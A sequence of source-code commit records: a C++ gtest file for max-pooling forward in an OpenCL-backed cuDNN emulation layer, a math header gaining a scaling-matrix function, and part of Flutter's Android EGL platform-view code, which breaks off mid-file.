// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include "cocl/cocl_dnn_pooling.h"
#include "cocl/cocl_dnn.h"
#include "cocl/cocl.h"
#include "EasyCL/EasyCL.h"
#include "EasyCL/util/easycl_stringhelper.h"
#include <iostream>
#include <memory>
#include <sstream>
#include "gtest/gtest.h"
using namespace std;
using namespace cocl;
using namespace easycl;
typedef std::mt19937 MT19937;
void fillRandomUniform(MT19937 &random, float *target, int size, float minVal, float maxVal);
void fillRandomInt(MT19937 &random, int *target, int size, int minValInclusive, int maxValExclusive);
namespace {
// notes on correspondance between caffe and our notation:
// count => total num output elements, ie batchSize * outC * outH * outW
// num => batchSize
// channels => inC
// height => inH
// width => inW
// pooled_height => outH
// pooled_width => outW
// pw => outw
// ph => outh
// bottom_data => input
// top_data => output
// top_mask => indices
// threads are for each output pixel
int NCHW_to_index(
int N, int C, int H, int W,
int n, int c, int h, int w) {
int index = n;
index = index * C + c;
index = index * H + h;
index = index * W + w;
return index;
}
void pool_forward_cpu(
float *input, int N, int C,
int inH, int inW, int kH, int kW, int padH, int padW, int dH, int dW,
float *output) {
int outH = (inH + 2 * padH - kH) / dH + 1;
int outW = (inW + 2 * padW - kW) / dW + 1;
// adapted from caffe, via torch
for(int n=0; n < N; n++) {
for(int c=0; c < C; c++) {
for(int outh=0; outh < outH; outh++) {
for(int outw=0; outw < outW; outw++) {
// int inh = outh * dH + kh - padH;
// int inw = outw * dW + kw - padW;
// if(inh >= 0 && inw >= 0 && inh < inH && inw < inW) {
int hstart = outh * dH - padH;
int wstart = outw * dW - padW;
int hend = min(hstart + kH, inH);
int wend = min(wstart + kW, inW);
hstart = max(hstart, 0);
wstart = max(wstart, 0);
float maxval = input[NCHW_to_index(N, C, inH, inW, n, c, hstart, wstart)];
for (int inh = hstart; inh < hend; ++inh) {
for (int inw = wstart; inw < wend; ++inw) {
int inIndex = NCHW_to_index(N, C, inH, inW, n, c, inh, inw);
if (input[inIndex] > maxval) {
maxval = input[inIndex];
}
}
}
int outIndex = NCHW_to_index(N, C, outH, outW, n, c, outh, outw);
output[outIndex] = maxval;
// }
}
}
}
}
}
TEST(test_dnn_pooling, forward_cpu) {
int N = 4;
int C = 3;
int inH = 5;
int inW = 6;
int kH = 3;
int kW = 3;
int padH = 1;
int padW = 1;
int dH = 1;
int dW = 1;
int outH = (inH + 2 * padH - kH) / dH + 1;
int outW = (inW + 2 * padW - kW) / dW + 1;
int inLinearSize = N * C * inH * inW;
int outLinearSize = N * C * outH * outW;
float *input = new float[inLinearSize];
float *output = new float[outLinearSize];
MT19937 random;
random.seed(123ul);
fillRandomUniform(random, input, N * C * inH * inW, 0.0f, 1.0f);
pool_forward_cpu(input, N, C, inH, inW, kH, kW, padH, padW, dH, dW, output);
const int numSamples = 20;
int *sampleIndices = new int[numSamples];
fillRandomInt(random, sampleIndices, numSamples, 0, outLinearSize);
for(int i = 0; i < numSamples; i++) {
int linearPos = sampleIndices[i];
int n = linearPos / C / inH / inW;
int rem = linearPos - n * C * inH * inW;
int c = rem / inH / inW;
rem = rem - c * inH * inW;
int inh = rem / inW;
int inw = rem % inW;
cout << "n=" << n << " c=" << c << " inh=" << inh << " inw=" << inw << " output[" << linearPos << "]=" << output[linearPos] << endl;
}
delete[] output;
delete[] input;
}
TEST(test_dnn_pooling, gpu_forward) {
int N = 4;
int C = 3;
int inH = 5;
int inW = 6;
int kH = 3;
int kW = 3;
int padH = 1;
int padW = 1;
int dH = 1;
int dW = 1;
// N = 1;
// inC = 1;
// outC = 1;
// inH = 3;
// inW = 3;
int outH = (inH + 2 * padH - kH) / dH + 1;
int outW = (inW + 2 * padW - kW) / dW + 1;
cout << "outH=" << outH << " outW=" << outW << endl;
int inLinearSize = N * C * inH * inW;
int outLinearSize = N * C * outH * outW;
float *input = new float[inLinearSize];
float *output = new float[outLinearSize];
MT19937 random;
random.seed(123ul);
fillRandomUniform(random, input, N * C * inH * inW, 0.0f, 1.0f);
pool_forward_cpu(input, N, C, inH, inW, kH, kW, padH, padW, dH, dW, output);
cudnnHandle_t dnn_handle;
cudnnTensorDescriptor_t inputDesc;
cudnnTensorDescriptor_t outputDesc;
cudnnPoolingDescriptor_t poolDesc;
cudnnCreate(&dnn_handle);
cudnnCreateTensorDescriptor(&inputDesc);
cudnnCreateTensorDescriptor(&outputDesc);
cudnnCreatePoolingDescriptor(&poolDesc);
cudnnSetTensor4dDescriptor(
inputDesc,
CUDNN_TENSOR_NCHW,
CUDNN_DATA_FLOAT,
N, C, inH, inW);
cudnnSetTensor4dDescriptor(
outputDesc,
CUDNN_TENSOR_NCHW,
CUDNN_DATA_FLOAT,
N, C, outH, outW);
cudnnSetPooling2dDescriptor(poolDesc,
CUDNN_POOLING_MAX,
CUDNN_PROPAGATE_NAN,
3, 3,
0, 0,
1, 1);
ThreadVars *v = getThreadVars();
EasyCL *cl = v->getContext()->getCl();
size_t inputOffsetBytes = 0;
size_t outputOffsetBytes = inputOffsetBytes + inLinearSize * sizeof(float);
size_t gpuMemoryAllocSize = outputOffsetBytes + outLinearSize * sizeof(float);
cout << "gpuMemoryAllocSize=" << gpuMemoryAllocSize << endl;
Memory *gpuMemory = Memory::newDeviceAlloc(gpuMemoryAllocSize);
float *gpuDeviceInput = (float *)(((char *)gpuMemory->fakePos + inputOffsetBytes));
float *gpuDeviceOutput = (float *)(((char *)gpuMemory->fakePos + outputOffsetBytes));
cl_int err;
err = clEnqueueWriteBuffer(v->currentContext->default_stream.get()->clqueue->queue, gpuMemory->clmem, CL_TRUE, inputOffsetBytes,
(inLinearSize) * sizeof(float), input, 0, NULL, NULL);
EasyCL::checkError(err);
float alpha = 1.0f;
float beta = 0.0f;
cudnnPoolingForward(dnn_handle,
poolDesc,
&alpha,
inputDesc, gpuDeviceInput, // input to this layer
&beta,
outputDesc, gpuDeviceOutput); // output
float *gpuOutHostside = new float[outLinearSize];
err = clEnqueueReadBuffer(v->currentContext->default_stream.get()->clqueue->queue, gpuMemory->clmem, CL_TRUE, outputOffsetBytes,
(outLinearSize) * sizeof(float), gpuOutHostside, 0, NULL, NULL);
EasyCL::checkError(err);
cl->finish();
const int numSamples = 20;
int *sampleIndices = new int[numSamples];
fillRandomInt(random, sampleIndices, numSamples, 0, outLinearSize);
for(int i = 0; i < numSamples; i++) {
int linearPos = sampleIndices[i];
int n = linearPos / C / outH / outW;
int rem = linearPos - n * C * outH * outW;
int c = rem / outH / outW;
rem = rem - c * outH * outW;
int outh = rem / outW;
int outw = rem % outW;
cout << "n=" << n << " c=" << c << " outh=" << outh << " outw=" << outw << " output[" << linearPos << "]="
<< output[linearPos] << " " << gpuOutHostside[linearPos] << endl;
if(abs(output[linearPos] - gpuOutHostside[linearPos]) > 1e-4) {
throw runtime_error(string("test_dnn, output of conv forward ,mismatch for ") +
"n=" + toString(n) + " c=" + toString(c) + " outh=" + toString(outh) + " outw=" + toString(outw));
}
}
cudnnDestroyPoolingDescriptor(poolDesc);
cudnnDestroyTensorDescriptor(inputDesc);
cudnnDestroyTensorDescriptor(outputDesc);
cudnnDestroy(dnn_handle);
delete gpuMemory;
delete[] gpuOutHostside;
delete[] output;
delete[] input;
}
} // namespace
<commit_msg>forward pooling passes for simple geometry<commit_after>// Copyright Hugh Perkins 2016, 2017
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include "cocl/cocl_dnn_pooling.h"
#include "cocl/cocl_dnn.h"
#include "cocl/cocl.h"
#include "EasyCL/EasyCL.h"
#include "EasyCL/util/easycl_stringhelper.h"
#include <iostream>
#include <memory>
#include <sstream>
#include "gtest/gtest.h"
using namespace std;
using namespace cocl;
using namespace easycl;
typedef std::mt19937 MT19937;
void fillRandomUniform(MT19937 &random, float *target, int size, float minVal, float maxVal);
void fillRandomInt(MT19937 &random, int *target, int size, int minValInclusive, int maxValExclusive);
namespace {
// notes on correspondance between caffe and our notation:
// count => total num output elements, ie batchSize * outC * outH * outW
// num => batchSize
// channels => inC
// height => inH
// width => inW
// pooled_height => outH
// pooled_width => outW
// pw => outw
// ph => outh
// bottom_data => input
// top_data => output
// top_mask => indices
// threads are for each output pixel
int NCHW_to_index(
int N, int C, int H, int W,
int n, int c, int h, int w) {
int index = n;
index = index * C + c;
index = index * H + h;
index = index * W + w;
return index;
}
void pool_forward_cpu(
float *input, int N, int C,
int inH, int inW, int kH, int kW, int padH, int padW, int dH, int dW,
float *output) {
int outH = (inH + 2 * padH - kH) / dH + 1;
int outW = (inW + 2 * padW - kW) / dW + 1;
// adapted from caffe, via torch
for(int n=0; n < N; n++) {
for(int c=0; c < C; c++) {
for(int outh=0; outh < outH; outh++) {
for(int outw=0; outw < outW; outw++) {
// int inh = outh * dH + kh - padH;
// int inw = outw * dW + kw - padW;
// if(inh >= 0 && inw >= 0 && inh < inH && inw < inW) {
int hstart = outh * dH - padH;
int wstart = outw * dW - padW;
int hend = min(hstart + kH, inH);
int wend = min(wstart + kW, inW);
hstart = max(hstart, 0);
wstart = max(wstart, 0);
float maxval = input[NCHW_to_index(N, C, inH, inW, n, c, hstart, wstart)];
for (int inh = hstart; inh < hend; ++inh) {
for (int inw = wstart; inw < wend; ++inw) {
int inIndex = NCHW_to_index(N, C, inH, inW, n, c, inh, inw);
if (input[inIndex] > maxval) {
maxval = input[inIndex];
}
}
}
int outIndex = NCHW_to_index(N, C, outH, outW, n, c, outh, outw);
output[outIndex] = maxval;
// }
}
}
}
}
}
TEST(test_dnn_pooling, forward_cpu) {
int N = 4;
int C = 3;
int inH = 5;
int inW = 6;
int kH = 3;
int kW = 3;
int padH = 1;
int padW = 1;
int dH = 1;
int dW = 1;
int outH = (inH + 2 * padH - kH) / dH + 1;
int outW = (inW + 2 * padW - kW) / dW + 1;
int inLinearSize = N * C * inH * inW;
int outLinearSize = N * C * outH * outW;
float *input = new float[inLinearSize];
float *output = new float[outLinearSize];
MT19937 random;
random.seed(123ul);
fillRandomUniform(random, input, N * C * inH * inW, 0.0f, 1.0f);
pool_forward_cpu(input, N, C, inH, inW, kH, kW, padH, padW, dH, dW, output);
const int numSamples = 20;
int *sampleIndices = new int[numSamples];
fillRandomInt(random, sampleIndices, numSamples, 0, outLinearSize);
for(int i = 0; i < numSamples; i++) {
int linearPos = sampleIndices[i];
int n = linearPos / C / inH / inW;
int rem = linearPos - n * C * inH * inW;
int c = rem / inH / inW;
rem = rem - c * inH * inW;
int inh = rem / inW;
int inw = rem % inW;
cout << "n=" << n << " c=" << c << " inh=" << inh << " inw=" << inw << " output[" << linearPos << "]=" << output[linearPos] << endl;
}
delete[] output;
delete[] input;
}
TEST(test_dnn_pooling, gpu_forward) {
int N = 4;
int C = 3;
int inH = 5;
int inW = 6;
int kH = 3;
int kW = 3;
int padH = 1;
int padW = 1;
int dH = 1;
int dW = 1;
N = 1;
C = 1;
inH = 3;
inW = 3;
int outH = (inH + 2 * padH - kH) / dH + 1;
int outW = (inW + 2 * padW - kW) / dW + 1;
cout << "outH=" << outH << " outW=" << outW << endl;
int inLinearSize = N * C * inH * inW;
int outLinearSize = N * C * outH * outW;
float *input = new float[inLinearSize];
float *output = new float[outLinearSize];
MT19937 random;
random.seed(123ul);
fillRandomUniform(random, input, N * C * inH * inW, 0.0f, 1.0f);
pool_forward_cpu(input, N, C, inH, inW, kH, kW, padH, padW, dH, dW, output);
cout << "input[0][0]:" << endl;
for(int h=0; h < inH; h++) {
for(int w=0; w < inW; w++) {
cout << input[h * inW + w] << " ";
}
cout << endl;
}
cout << "output[0][0]:" << endl;
for(int h=0; h < outH; h++) {
for(int w=0; w < outW; w++) {
cout << output[h * outW + w] << " ";
}
cout << endl;
}
cudnnHandle_t dnn_handle;
cudnnTensorDescriptor_t inputDesc;
cudnnTensorDescriptor_t outputDesc;
cudnnPoolingDescriptor_t poolDesc;
cudnnCreate(&dnn_handle);
cudnnCreateTensorDescriptor(&inputDesc);
cudnnCreateTensorDescriptor(&outputDesc);
cudnnCreatePoolingDescriptor(&poolDesc);
cudnnSetTensor4dDescriptor(
inputDesc,
CUDNN_TENSOR_NCHW,
CUDNN_DATA_FLOAT,
N, C, inH, inW);
cudnnSetTensor4dDescriptor(
outputDesc,
CUDNN_TENSOR_NCHW,
CUDNN_DATA_FLOAT,
N, C, outH, outW);
cudnnSetPooling2dDescriptor(poolDesc,
CUDNN_POOLING_MAX,
CUDNN_PROPAGATE_NAN,
kH, kW,
padH, padW,
dH, dW);
ThreadVars *v = getThreadVars();
EasyCL *cl = v->getContext()->getCl();
size_t inputOffsetBytes = 0;
size_t outputOffsetBytes = inputOffsetBytes + inLinearSize * sizeof(float);
size_t gpuMemoryAllocSize = outputOffsetBytes + outLinearSize * sizeof(float);
cout << "gpuMemoryAllocSize=" << gpuMemoryAllocSize << endl;
Memory *gpuMemory = Memory::newDeviceAlloc(gpuMemoryAllocSize);
float *gpuDeviceInput = (float *)(((char *)gpuMemory->fakePos + inputOffsetBytes));
float *gpuDeviceOutput = (float *)(((char *)gpuMemory->fakePos + outputOffsetBytes));
cl_int err;
err = clEnqueueWriteBuffer(v->currentContext->default_stream.get()->clqueue->queue, gpuMemory->clmem, CL_TRUE, inputOffsetBytes,
(inLinearSize) * sizeof(float), input, 0, NULL, NULL);
EasyCL::checkError(err);
float alpha = 1.0f;
float beta = 0.0f;
cudnnPoolingForward(dnn_handle,
poolDesc,
&alpha,
inputDesc, gpuDeviceInput, // input to this layer
&beta,
outputDesc, gpuDeviceOutput); // output
float *gpuOutHostside = new float[outLinearSize];
err = clEnqueueReadBuffer(v->currentContext->default_stream.get()->clqueue->queue, gpuMemory->clmem, CL_TRUE, outputOffsetBytes,
(outLinearSize) * sizeof(float), gpuOutHostside, 0, NULL, NULL);
EasyCL::checkError(err);
cl->finish();
cout << "gpuOutput[0][0]:" << endl;
for(int h=0; h < outH; h++) {
for(int w=0; w < outW; w++) {
cout << gpuOutHostside[h * outW + w] << " ";
}
cout << endl;
}
const int numSamples = 20;
int *sampleIndices = new int[numSamples];
fillRandomInt(random, sampleIndices, numSamples, 0, outLinearSize);
for(int i = 0; i < numSamples; i++) {
int linearPos = sampleIndices[i];
int n = linearPos / C / outH / outW;
int rem = linearPos - n * C * outH * outW;
int c = rem / outH / outW;
rem = rem - c * outH * outW;
int outh = rem / outW;
int outw = rem % outW;
cout << "n=" << n << " c=" << c << " outh=" << outh << " outw=" << outw << " output[" << linearPos << "]="
<< output[linearPos] << " " << gpuOutHostside[linearPos] << endl;
if(abs(output[linearPos] - gpuOutHostside[linearPos]) > 1e-4) {
throw runtime_error(string("test_dnn, output of conv forward ,mismatch for ") +
"n=" + toString(n) + " c=" + toString(c) + " outh=" + toString(outh) + " outw=" + toString(outw));
}
}
cudnnDestroyPoolingDescriptor(poolDesc);
cudnnDestroyTensorDescriptor(inputDesc);
cudnnDestroyTensorDescriptor(outputDesc);
cudnnDestroy(dnn_handle);
delete gpuMemory;
delete[] gpuOutHostside;
delete[] output;
delete[] input;
}
} // namespace
<|endoftext|>
|
<commit_before>#ifndef ___INANITY_MATH_GEOMETRY_HPP___
#define ___INANITY_MATH_GEOMETRY_HPP___
#include "basic.hpp"
BEGIN_INANITY_MATH
template <typename T>
xmat<T, 4, 4> CreateTranslationMatrix(const xvec<T, 3>& translation)
{
xmat<T, 4, 4> r = identity_mat<T, 4>();
r(0, 3) = translation(0);
r(1, 3) = translation(1);
r(2, 3) = translation(2);
return r;
}
template <typename T>
xmat<T, 4, 4> CreateLookAtMatrix(const xvec<T, 3>& eye, const xvec<T, 3>& target, const xvec<T, 3>& up)
{
xmat<T, 4, 4> r;
xvec<T, 3> z = normalize(eye - target);
xvec<T, 3> x = normalize(cross(up, z));
xvec<T, 3> y = cross(z, x);
r(0, 0) = x.x;
r(1, 0) = y.x;
r(2, 0) = z.x;
r(3, 0) = 0;
r(0, 1) = x.y;
r(1, 1) = y.y;
r(2, 1) = z.y;
r(3, 1) = 0;
r(0, 2) = x.z;
r(1, 2) = y.z;
r(2, 2) = z.z;
r(3, 2) = 0;
r(0, 3) = -dot(x, eye);
r(1, 3) = -dot(y, eye);
r(2, 3) = -dot(z, eye);
r(3, 3) = 1;
return r;
}
template <typename T>
xmat<T, 4, 4> CreateProjectionPerspectiveFovMatrix(T fovY, T aspect, T zn, T zf)
{
xmat<T, 4, 4> r = zero_mat<T, 4, 4>();
T yScale = 1 / tan(fovY / 2);
T xScale = yScale / aspect;
r(0, 0) = xScale;
r(1, 1) = yScale;
r(2, 2) = zf / (zn - zf);
r(2, 3) = zn * zf / (zn - zf);
r(3, 2) = -1;
return r;
}
template <typename T>
xvec<T, 4> axis_rotation(const xvec<T, 3>& axis, T angle)
{
angle /= 2;
T angleSin = sin(angle);
T angleCos = cos(angle);
return xvec<T, 4>(
axis.x * angleSin,
axis.y * angleSin,
axis.z * angleSin,
angleCos);
}
END_INANITY_MATH
#endif
<commit_msg>CreateScalingMatrix math function<commit_after>#ifndef ___INANITY_MATH_GEOMETRY_HPP___
#define ___INANITY_MATH_GEOMETRY_HPP___
#include "basic.hpp"
BEGIN_INANITY_MATH
template <typename T>
xmat<T, 4, 4> CreateTranslationMatrix(const xvec<T, 3>& translation)
{
xmat<T, 4, 4> r = identity_mat<T, 4>();
r(0, 3) = translation(0);
r(1, 3) = translation(1);
r(2, 3) = translation(2);
return r;
}
template <typename T>
xmat<T, 4, 4> CreateScalingMatrix(const xvec<T, 3>& scaling)
{
xmat<T, 4, 4> r = identity_mat<T, 4>();
r(0, 0) = scaling(0);
r(1, 1) = scaling(1);
r(2, 2) = scaling(2);
return r;
}
template <typename T>
xmat<T, 4, 4> CreateLookAtMatrix(const xvec<T, 3>& eye, const xvec<T, 3>& target, const xvec<T, 3>& up)
{
xmat<T, 4, 4> r;
xvec<T, 3> z = normalize(eye - target);
xvec<T, 3> x = normalize(cross(up, z));
xvec<T, 3> y = cross(z, x);
r(0, 0) = x.x;
r(1, 0) = y.x;
r(2, 0) = z.x;
r(3, 0) = 0;
r(0, 1) = x.y;
r(1, 1) = y.y;
r(2, 1) = z.y;
r(3, 1) = 0;
r(0, 2) = x.z;
r(1, 2) = y.z;
r(2, 2) = z.z;
r(3, 2) = 0;
r(0, 3) = -dot(x, eye);
r(1, 3) = -dot(y, eye);
r(2, 3) = -dot(z, eye);
r(3, 3) = 1;
return r;
}
template <typename T>
xmat<T, 4, 4> CreateProjectionPerspectiveFovMatrix(T fovY, T aspect, T zn, T zf)
{
xmat<T, 4, 4> r = zero_mat<T, 4, 4>();
T yScale = 1 / tan(fovY / 2);
T xScale = yScale / aspect;
r(0, 0) = xScale;
r(1, 1) = yScale;
r(2, 2) = zf / (zn - zf);
r(2, 3) = zn * zf / (zn - zf);
r(3, 2) = -1;
return r;
}
template <typename T>
xvec<T, 4> axis_rotation(const xvec<T, 3>& axis, T angle)
{
angle /= 2;
T angleSin = sin(angle);
T angleCos = cos(angle);
return xvec<T, 4>(
axis.x * angleSin,
axis.y * angleSin,
axis.z * angleSin,
angleCos);
}
END_INANITY_MATH
#endif
<|endoftext|>
|
<commit_before>// Copyright 2015 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "flutter/sky/shell/platform/android/platform_view_android.h"
#include <EGL/egl.h>
#include <android/input.h>
#include <android/native_window_jni.h>
#include <utility>
#include "base/android/jni_android.h"
#include "base/bind.h"
#include "base/location.h"
#include "base/trace_event/trace_event.h"
#include "flutter/runtime/dart_service_isolate.h"
#include "flutter/sky/shell/shell.h"
#include "jni/FlutterView_jni.h"
namespace sky {
namespace shell {
namespace {
template <class T>
using EGLResult = std::pair<bool, T>;
EGLDisplay g_display = EGL_NO_DISPLAY;
EGLContext g_resource_context = EGL_NO_CONTEXT;
EGLSurface g_resource_surface = EGL_NO_SURFACE;
void LogLastEGLError() {
struct EGLNameErrorPair {
const char* name;
EGLint code;
};
#define _EGL_ERROR_DESC(a) \
{ #a, a }
const EGLNameErrorPair pairs[] = {
_EGL_ERROR_DESC(EGL_SUCCESS),
_EGL_ERROR_DESC(EGL_NOT_INITIALIZED),
_EGL_ERROR_DESC(EGL_BAD_ACCESS),
_EGL_ERROR_DESC(EGL_BAD_ALLOC),
_EGL_ERROR_DESC(EGL_BAD_ATTRIBUTE),
_EGL_ERROR_DESC(EGL_BAD_CONTEXT),
_EGL_ERROR_DESC(EGL_BAD_CONFIG),
_EGL_ERROR_DESC(EGL_BAD_CURRENT_SURFACE),
_EGL_ERROR_DESC(EGL_BAD_DISPLAY),
_EGL_ERROR_DESC(EGL_BAD_SURFACE),
_EGL_ERROR_DESC(EGL_BAD_MATCH),
_EGL_ERROR_DESC(EGL_BAD_PARAMETER),
_EGL_ERROR_DESC(EGL_BAD_NATIVE_PIXMAP),
_EGL_ERROR_DESC(EGL_BAD_NATIVE_WINDOW),
_EGL_ERROR_DESC(EGL_CONTEXT_LOST),
};
#undef _EGL_ERROR_DESC
const auto count = sizeof(pairs) / sizeof(EGLNameErrorPair);
EGLint last_error = eglGetError();
for (size_t i = 0; i < count; i++) {
if (last_error == pairs[i].code) {
DLOG(INFO) << "EGL Error: " << pairs[i].name << " (" << pairs[i].code
<< ")";
return;
}
}
DLOG(WARNING) << "Unknown EGL Error";
}
EGLResult<EGLSurface> CreatePBufferSurface(EGLDisplay display,
EGLConfig config) {
// We only ever create pbuffer surfaces for background resource loading
// contexts. We never bind the pbuffer to anything.
const EGLint attribs[] = {EGL_WIDTH, 1, EGL_HEIGHT, 1, EGL_NONE};
EGLSurface surface = eglCreatePbufferSurface(display, config, attribs);
return {surface != EGL_NO_SURFACE, surface};
}
EGLResult<EGLSurface> CreateContext(EGLDisplay display,
EGLConfig config,
EGLContext share = EGL_NO_CONTEXT) {
EGLint attributes[] = {EGL_CONTEXT_CLIENT_VERSION, 2, EGL_NONE};
EGLContext context = eglCreateContext(display, config, share, attributes);
return {context != EGL_NO_CONTEXT, context};
}
EGLResult<EGLConfig> ChooseEGLConfiguration(
EGLDisplay display,
PlatformView::SurfaceConfig config) {
EGLint attributes[] = {
// clang-format off
EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT,
EGL_SURFACE_TYPE, EGL_WINDOW_BIT,
EGL_RED_SIZE, config.red_bits,
EGL_GREEN_SIZE, config.green_bits,
EGL_BLUE_SIZE, config.blue_bits,
EGL_ALPHA_SIZE, config.alpha_bits,
EGL_DEPTH_SIZE, config.depth_bits,
EGL_STENCIL_SIZE, config.stencil_bits,
EGL_NONE, // termination sentinel
// clang-format on
};
EGLint config_count = 0;
EGLConfig egl_config = nullptr;
if (eglChooseConfig(display, attributes, &egl_config, 1, &config_count) !=
EGL_TRUE) {
return {false, nullptr};
}
bool success = config_count > 0 && egl_config != nullptr;
return {success, success ? egl_config : nullptr};
}
void InitGlobal() {
// Get the display.
g_display = eglGetDisplay(EGL_DEFAULT_DISPLAY);
if (g_display == EGL_NO_DISPLAY)
return;
// Initialize the display connection.
if (eglInitialize(g_display, nullptr, nullptr) != EGL_TRUE)
return;
bool success;
// Choose a config for resource loading.
PlatformView::SurfaceConfig resource_config;
resource_config.stencil_bits = 0;
EGLConfig resource_egl_config;
std::tie(success, resource_egl_config) =
ChooseEGLConfiguration(g_display, resource_config);
if (!success) {
DLOG(INFO) << "Could not choose a resource configuration.";
LogLastEGLError();
return;
}
// Create a pbuffer surface for the configuration for resource loading.
std::tie(success, g_resource_surface) =
CreatePBufferSurface(g_display, resource_egl_config);
if (!success) {
DLOG(INFO) << "Could not create the pbuffer surface for resource loading.";
LogLastEGLError();
return;
}
// Create a resource context for the configuration.
std::tie(success, g_resource_context) =
CreateContext(g_display, resource_egl_config);
if (!success) {
DLOG(INFO) << "Could not create the resource context.";
LogLastEGLError();
return;
}
}
} // namespace
class AndroidNativeWindow {
public:
using Handle = ANativeWindow*;
explicit AndroidNativeWindow(Handle window) : window_(window) {
if (window_ != nullptr) {
ANativeWindow_acquire(window_);
}
}
~AndroidNativeWindow() {
if (window_ != nullptr) {
ANativeWindow_release(window_);
window_ = nullptr;
}
}
bool IsValid() const { return window_ != nullptr; }
Handle handle() const { return window_; }
private:
Handle window_;
FTL_DISALLOW_COPY_AND_ASSIGN(AndroidNativeWindow);
};
class AndroidGLContext {
public:
explicit AndroidGLContext(AndroidNativeWindow::Handle window_handle,
PlatformView::SurfaceConfig config)
: window_(window_handle),
config_(nullptr),
surface_(EGL_NO_SURFACE),
context_(EGL_NO_CONTEXT),
valid_(false) {
if (!window_.IsValid()) {
// We always require a valid window since we are only going to deal
// with window surfaces.
return;
}
bool success = false;
// Choose a valid configuration.
std::tie(success, config_) = ChooseEGLConfiguration(g_display, config);
if (!success) {
DLOG(INFO) << "Could not choose a window configuration.";
LogLastEGLError();
return;
}
// Create a window surface for the configuration.
std::tie(success, surface_) =
CreateWindowSurface(g_display, config_, window_.handle());
if (!success) {
DLOG(INFO) << "Could not create the window surface.";
LogLastEGLError();
return;
}
// Create a context for the configuration.
std::tie(success, context_) =
CreateContext(g_display, config_, g_resource_context);
if (!success) {
DLOG(INFO) << "Could not create the main rendering context";
LogLastEGLError();
return;
}
// All done!
valid_ = true;
}
~AndroidGLContext() {
if (!TeardownContext(g_display, context_)) {
LOG(INFO)
<< "Could not tear down the EGL context. Possible resource leak.";
LogLastEGLError();
}
if (!TeardownSurface(g_display, surface_)) {
LOG(INFO)
<< "Could not tear down the EGL surface. Possible resource leak.";
LogLastEGLError();
}
}
bool IsValid() const { return valid_; }
bool ContextMakeCurrent() {
if (eglMakeCurrent(g_display, surface_, surface_, context_) != EGL_TRUE) {
LOG(INFO) << "Could not make the context current";
LogLastEGLError();
return false;
}
return true;
}
bool SwapBuffers() { return eglSwapBuffers(g_display, surface_); }
SkISize GetSize() {
EGLint width = 0;
EGLint height = 0;
if (!eglQuerySurface(g_display, surface_, EGL_WIDTH, &width) ||
!eglQuerySurface(g_display, surface_, EGL_HEIGHT, &height)) {
LOG(ERROR) << "Unable to query EGL surface size";
LogLastEGLError();
return SkISize::Make(0, 0);
}
return SkISize::Make(width, height);
}
void Resize(const SkISize& size) {
eglMakeCurrent(g_display, EGL_NO_SURFACE, EGL_NO_SURFACE, EGL_NO_CONTEXT);
TeardownSurface(g_display, surface_);
bool success;
std::tie(success, surface_) =
CreateWindowSurface(g_display, config_, window_.handle());
if (!success) {
LOG(ERROR) << "Unable to create EGL window surface";
}
}
private:
AndroidNativeWindow window_;
EGLConfig config_;
EGLSurface surface_;
EGLContext context_;
bool valid_;
static bool TeardownContext(EGLDisplay display, EGLContext context) {
if (context != EGL_NO_CONTEXT) {
return eglDestroyContext(display, context) == EGL_TRUE;
}
return true;
}
static bool TeardownSurface(EGLDisplay display, EGLSurface surface) {
if (surface != EGL_NO_SURFACE) {
return eglDestroySurface(display, surface) == EGL_TRUE;
}
return true;
}
static EGLResult<EGLSurface> CreateWindowSurface(
EGLDisplay display,
EGLConfig config,
AndroidNativeWindow::Handle window_handle) {
// The configurations are only required when dealing with extensions or VG.
// We do neither.
EGLSurface surface = eglCreateWindowSurface(
display, config, reinterpret_cast<EGLNativeWindowType>(window_handle),
nullptr);
return {surface != EGL_NO_SURFACE, surface};
}
FTL_DISALLOW_COPY_AND_ASSIGN(AndroidGLContext);
};
static jlong Attach(JNIEnv* env,
jclass clazz,
jint skyEngineHandle,
jobject flutterView) {
PlatformViewAndroid* view = new PlatformViewAndroid();
view->ConnectToEngine(mojo::InterfaceRequest<SkyEngine>(
mojo::ScopedMessagePipeHandle(mojo::MessagePipeHandle(skyEngineHandle))));
// Create a weak reference to the flutterView Java object so that we can make
// calls into it later.
view->set_flutter_view(JavaObjectWeakGlobalRef(env, flutterView));
return reinterpret_cast<jlong>(view);
}
jint GetObservatoryPort(JNIEnv* env, jclass clazz) {
return blink::DartServiceIsolate::GetObservatoryPort();
}
// static
bool PlatformViewAndroid::Register(JNIEnv* env) {
return RegisterNativesImpl(env);
}
PlatformViewAndroid::PlatformViewAndroid()
: weak_factory_(this) {
// If this is the first PlatformView, then intiialize EGL and set up
// the resource context.
if (g_display == EGL_NO_DISPLAY)
InitGlobal();
}
PlatformViewAndroid::~PlatformViewAndroid() = default;
void PlatformViewAndroid::Detach(JNIEnv* env, jobject obj) {
// Note: |this| has been destroyed at this point.
}
void PlatformViewAndroid::SurfaceCreated(JNIEnv* env,
jobject obj,
jobject jsurface) {
// Note: This ensures that any local references used by
// ANativeWindow_fromSurface are released immediately. This is needed as a
// workaround for https://code.google.com/p/android/issues/detail?id=68174
{
base::android::ScopedJavaLocalFrame scoped_local_reference_frame(env);
ANativeWindow* window = ANativeWindow_fromSurface(env, jsurface);
std::unique_ptr<AndroidGLContext> context(
new AndroidGLContext(window, surface_config_));
if (context->IsValid()) {
context_ = std::move(context);
}
ANativeWindow_release(window);
}
NotifyCreated();
SetupResourceContextOnIOThread();
}
void PlatformViewAndroid::SurfaceDestroyed(JNIEnv* env, jobject obj) {
NotifyDestroyed();
context_ = nullptr;
}
ftl::WeakPtr<sky::shell::PlatformView> PlatformViewAndroid::GetWeakViewPtr() {
return weak_factory_.GetWeakPtr();
}
uint64_t PlatformViewAndroid::DefaultFramebuffer() const {
// FBO 0 is the default window bound framebuffer on Android.
return 0;
}
bool PlatformViewAndroid::ContextMakeCurrent() {
return context_ != nullptr ? context_->ContextMakeCurrent() : false;
}
